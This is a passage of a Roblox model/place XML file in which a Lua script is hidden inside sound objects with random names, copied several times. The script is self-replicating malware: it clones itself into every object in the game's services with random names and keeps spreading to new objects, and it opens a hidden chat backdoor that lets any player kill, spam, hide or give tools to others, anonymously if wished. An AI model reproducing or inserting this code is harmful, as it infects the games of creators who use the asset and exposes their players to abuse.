if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX859">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-166</X>
					<Y>42.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX860">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX861">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX862">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-171</X>
					<Y>44.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX863">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX864">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
